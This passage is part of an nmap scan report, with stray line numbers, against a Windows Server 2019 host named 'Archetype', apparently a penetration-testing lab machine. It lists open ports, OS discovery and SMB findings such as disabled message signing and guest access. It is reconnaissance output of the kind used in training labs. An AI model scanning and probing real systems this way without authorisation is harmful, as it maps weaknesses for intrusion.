49667/tcp open  unknown
41
49668/tcp open  unknown
42
49669/tcp open  unknown
43
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
44

45
Host script results:
46
| smb2-security-mode:
47
|   3:1:1:
48
|_    Message signing enabled but not required
49
| smb-os-discovery:
50
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
51
|   Computer name: Archetype
52
|   NetBIOS computer name: ARCHETYPE\x00
53
|   Workgroup: WORKGROUP\x00
54
|_  System time: 2024-07-10T07:50:59-07:00
55
|_clock-skew: mean: 1h24m01s, deviation: 3h07m54s, median: 0s
56
| smb-security-mode:
57
|   account_used: guest
58
|   authentication_level: user
59
|   challenge_response: supported
60
|_  message_signing: disabled (dangerous, but default)
61
| smb2-time:
62
|   date: 2024-07-10T14:50:50
63
|_  start_date: N/A
64

65
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
66
Nmap done: 1 IP address (1 host up) scanned in 427.92 seconds